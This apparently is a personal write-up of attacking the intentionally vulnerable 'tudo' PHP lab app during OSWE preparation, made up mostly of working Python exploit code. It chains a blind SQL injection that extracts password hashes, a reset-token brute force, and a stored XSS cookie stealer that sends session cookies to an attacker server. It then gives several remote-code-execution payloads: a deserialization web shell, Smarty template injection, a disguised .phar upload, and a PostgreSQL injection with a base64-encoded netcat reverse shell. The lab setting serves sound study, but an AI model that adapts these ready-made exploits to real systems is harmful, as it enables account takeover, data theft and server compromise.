bmdyy/tudo

While preparing for OSWE, a colleague of mine recommended this web app which combines a lot of diferrent vulnerabilities. Indeed it was a very good practise as a source code review. Creating an all-in-one script was also fun.

https://github.com/bmdyy/tudo

Essential imports for the code that follows:

import concurrent.futures
import threading
from base64 import urlsafe_b64decode
from http import cookies
from http.server import BaseHTTPRequestHandler, HTTPServer

import requests
import multiprocessing

import subprocess

Blind SQL injection

By reviewing the source code, we can see that the forgotusername.php page is the only area which is vulnerable to SQL injection beacuse the username value is inserted into the query unsanitized and because the app is not using a parameterized query:

So we can use this to obtain the SHA256 hash of a user. By the way the page is also vulnerable to username enumeration so we can get valid usernames, "admin" being one of them. The template for the code below is taken from this helpful repo: https://github.com/rizemon/exploit-writing-for-oswe

MAX_WORKERS = 20
HASH_LENGTH = 64
def exfiltrate_hash():
    def boolean_sqli(arguments):
        idx, ascii_val = arguments
        character = chr(ascii_val)
        proxies1 = {
            "http": "http://127.0.0.1:8080",
            "https": "http://127.0.0.1:8080"
        }
        # Note user1 is a valid user. In this case I couldn't get it to work with OR. Just use a valid username and 'AND'.
        payload = "admin' and substring(password," + str(idx) + ",1)='" + character + "'; -- "
        data1 = {
            "username": payload
        }
        headers1 = {
            "Content-Type": "application/x-www-form-urlencoded",
        }
        r = requests.post("http://172.17.0.2/forgotusername.php", data=data1, headers=headers1, proxies=proxies1)
        truth = False
        if "User exists!" in r.text:
            truth = True
        return ascii_val, truth
    result = ""

    # Go through each character position
    for idx in range(HASH_LENGTH):

        # Use MAX_WORKERS threads to test possible ASCII values in parallel
        with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
            # Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
            responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])

        # Go through each response and determine which ASCII value is correct
        for ascii_val, truth in responses:
            if truth:
                result += chr(ascii_val)
                print(result)
                break

    return result


hash = exfiltrate_hash()
print("Hash: " + hash)

After running this code we can get a nice hash that we can try to crack:

Login bypass

For the login bypass we can easily determine that we must do something with the reset password functionality. The vulnerability lies in the fact that the application uses predictable parameters for the srand php function, so the output can be deterministic:

Microtime is the current Unix timestamp with microseconds but as you can see it is multiplied by 1000 and it is rounded. So theoretically if we could run this function on our own attacker's system at the exact time it is run on the target system we could get them same token (basically we have a margin of error due to the round here). But there is no need for that, we can simply get a rough value and then generate all the possible tokens that are near this value.

Here is the same function in a php file called generate_token.php which takes the seed as an argument:

<?php
    function generateToken($seed) {
	srand($seed);
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_';
        $ret = '';
        for ($i = 0; $i < 32; $i++) {
            $ret .= $chars[rand(0,strlen($chars)-1)];
        }
        return $ret;
    }
echo generateToken($argv[1])."\n";
?>

Also here is another php file called gettime.php that simply returns the seed we will use as a basis for our bruteforce:

<?php
echo (round(microtime(true) * 1000));
?>

First send the forgot password request so the token is saved in the database in the web app:

def forgot_pass():
    proxies = {
        "http": "http://127.0.0.1:8080",
        "https": "http://127.0.0.1:8080"
    }
    data1 = {
        "username": "user1"
    }
    headers1 = {
        "Content-Type": "application/x-www-form-urlencoded",
    }
    resp_obj = requests.post("http://172.17.0.2/forgotpassword.php", data=data1, headers=headers1)
    print("Send forgot password request")

Then we use a for loop to get possible seeds near the propable value and we use those seeds to generate tokens. Finally we try to reset the password using each token until we hit the correct one.

def reset_password(seed):
    token = subprocess.run(['php', '-f', '/home/john/temp/generate_token.php', str(seed)],
                           stdout=subprocess.PIPE).stdout.decode('utf-8').replace("\n", "")
    proxies = {
        "http": "http://127.0.0.1:8080",
        "https": "http://127.0.0.1:8080"
    }
    data1 = {
        "token": token,
        "password1": "SuperStrongPass",
        "password2": "SuperStrongPass"
    }
    headers1 = {
        "Content-Type": "application/x-www-form-urlencoded",
    }
    resp_obj = requests.post("http://172.17.0.2/resetpassword.php", data=data1, headers=headers1)
    if "Password changed!" in resp_obj.text:
        print("Found matching token: " + token)

currtime = int(subprocess.run(['php', '-f', '/home/john/temp/gettime.php'], stdout=subprocess.PIPE).stdout.decode('utf-8'))
forgot_pass()

adjuster = 1000

pool1 = multiprocessing.Pool()
pool1 = multiprocessing.Pool(processes=4)
outputs1 = pool1.map(reset_password, [seed for seed in range(currtime-adjuster, currtime+adjuster)])

Output:

Now that we have changed the password for the target user lets create a session and login:

session1 = requests.Session()
def tudo_login():
    proxies1 = {
        "http": "http://127.0.0.1:8080",
        "https": "http://127.0.0.1:8080"
    }
    data1 = {
        "username": "user1",
        "password": "SuperStrongPass"
    }
    headers1 = {
        "Content-Type": "application/x-www-form-urlencoded",
    }
    session1.post("http://172.17.0.2/login.php", data=data1, headers=headers1)

tudo_login()

Privilege escalation to admin

After exploring the application source code we can see in the index page that if the logged in user is admin, a new area is rendered with a list of all the users. This area includes the data of the users (username, password...) including a field named "description". More importantly those values are added in the html without being sanitized. (E.g. the posts ARE sanitized using 'htmlentities', but the user data in admin session are not)

So all we have to do is to update our compromised user's profile description field to include a JS cookie stealer and wait for an admin to visit the index page. The code below also sets up an automated server to capture the cookie and use it in a new session.

def update_profile_description():
    proxies1 = {
        "http": "http://127.0.0.1:8080",
        "https": "http://127.0.0.1:8080"
    }
    data1 = {
        "description": "</td><script>fetch(\"http://172.17.0.1:8000/?cookie=\"+encodeURIComponent(btoa(document.cookie)));</script><td>"
    }
    headers1 = {
        "Content-Type": "application/x-www-form-urlencoded",
    }
    session1.post("http://172.17.0.2/profile.php", data=data1, headers=headers1)

update_profile_description()
LHOST = "172.17.0.1"
WEB_PORT = 8000

session2 = requests.Session()
def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(200)
            self.end_headers()

            # Load stolen cookie into session
            _, enc_cookie = self.path.split("/?cookie=", 1)
            plain_cookie = urlsafe_b64decode(enc_cookie).decode()
            session2.cookies["PHPSESSID"] = cookies.SimpleCookie(plain_cookie)["PHPSESSID"]

            assassin = threading.Thread(target=self.server.shutdown)
            assassin.daemon = True
            assassin.start()

    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    server = threading.Thread(target=httpd.serve_forever()).start()

start_web_server()
update_profile_description()
print("Stolen cookie: ", session2.cookies["PHPSESSID"])

Output:

Now session2 will contain the admin cookie and we could abuse admin functionality.

RCE - Unserialize

In order to craft the payload and understand the technique I read this article: https://pswalia2u.medium.com/php-serialization-friend-or-foe-lets-try-to-exploit-640d2ad01f5b

So basically from the import_user.php page we can see that "unserialize" is called on attacker controlled data:

And this is the utils.php file where the User class resides:

There is also a Log class there that allows us to write whatever content we want and save it to whatever file we want using file_put_contents.

def admin_unserialize():
    global session2
    payload = 'O:4:"User":3:{s:8:"username";O:3:"Log":2:{s:1:"f";s:8:"test.php";s:1:"m";s:113:"<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>";}s:5:"test";s:8:"password";s:5:"test";s:11:"description";s:5:"test";}'

    proxies1 = {
        "http": "http://127.0.0.1:8080",
        "https": "http://127.0.0.1:8080"
    }
    data1 = {
        "userobj": payload
    }
    headers1 = {
        "Content-Type": "application/x-www-form-urlencoded",
    }
    session2.post("http://172.17.0.2/admin/import_user.php", data=data1, headers=headers1)

admin_unserialize()

So our payload basically follows this format:

object:length_of_name:name:length_of_parameters{type_of_parameter(str):length_of_value:value; etc...}.

The important thing to note here is that instead of a parameter we can simply use a new object and in our case call the Log class to write to files. I chose to write a new php shell so we can use it to execute commands like this:

def admin_rce_unserialize(command):
    proxies1 = {
        "http": "http://127.0.0.1:8080",
        "https": "http://127.0.0.1:8080"
    }
    headers1 = {
        "Content-Type": "application/x-www-form-urlencoded",
    }
    resp_obj = requests.get("http://172.17.0.2/admin/test.php?cmd=" + command, headers=headers1)
    return resp_obj.text[5:-7]

out = admin_rce_unserialize("uname -a")
print(out)

RCE - Template injection (SSTI)

The next way to obtain RCE is through template injection. Specifically on the update_motd.php file we can post some data with the 'message' parameter that will be saved on a template file:

This file will then be rendered on the index.php page:

So we can simply use a php SSTI payload and execute php code. The output will be rendered on the index page, so by visiting this page we can get the output of our command:

def admin_motd(command):
    proxies1 = {
        "http": "http://127.0.0.1:8080",
        "https": "http://127.0.0.1:8080"
    }
    data1 = {
        "message": "start1337{php}echo `" + command + "`;{/php}end1337"
    }
    headers1 = {
        "Content-Type": "application/x-www-form-urlencoded",
    }
    session2.post("http://172.17.0.2/admin/update_motd.php", data=data1, headers=headers1)
    resp_obj = session2.get("http://172.17.0.2/index.php")
    return resp_obj.text.split("start1337")[1].split("end1337")[0][:-1]

print(admin_motd("id"))

The payload was taken from https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#smarty

RCE - Image upload

Another way to obtain RCE is by uploading an image. The upload_image.php file checks and blocks several php executable file types but it does not block .phar files. But we have one more problem. The web app needs to be able to call getimagesize() on the uploaded file without getting errors. This can be bypassed by (ab)using the GIF format which offers a more abstract structure. Finally we have to make sure that we use one of the allowed mime types: (Basically the hardest part here was to figure out how to upload the file with all the required parameters using the requests library)

def admin_image(command):
    proxies1 = {
        "http": "http://127.0.0.1:8080",
        "https": "http://127.0.0.1:8080"
    }
    payload = 'GIF89;<?php system("' + command + '") ?>'
    files1 = {'image': ('test.phar', payload, 'image/gif')}
    session2.post("http://172.17.0.2/admin/upload_image.php",files=files1)
    resp_obj = session2.get("http://172.17.0.2/images/test.phar")
    return resp_obj.text[6:]

print(admin_image("dir"))

RCE - PostgresSQL injection

This method is EXACTLY similar to what is taught on OSCP (or at least was when I did the course)

def forgotusername_rce():
    proxies1 = {
        "http": "http://127.0.0.1:8080",
        "https": "http://127.0.0.1:8080"
    }
    payload = "test';DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDE3Mi4xNy4wLjEgNDQ0NCA+L3RtcC9mCg== | base64 -d | bash'; DROP TABLE IF EXISTS cmd_exec; --"

    data1 = {
        "username": payload
    }
    headers1 = {
        "Content-Type": "application/x-www-form-urlencoded"
    }

    requests.post("http://172.17.0.2/forgotusername.php",data=data1, headers=headers1, proxies=proxies1)


forgotusername_rce()

As we knew from the beginning, the forgotusername.php file was vulnerable to SQL injection, so by using the 'FROM PROGRAM' statement it is possible to achieve (here: blind) RCE. Note that netcat is not present on the server so we have to use bash. I used a base64 encoded payload for a reverse shell.

Also I think it is possible to use the COPY statement in order to write files to the server, which could be used to write a php shell for example, but I leave this up to you to try it out.

Last updated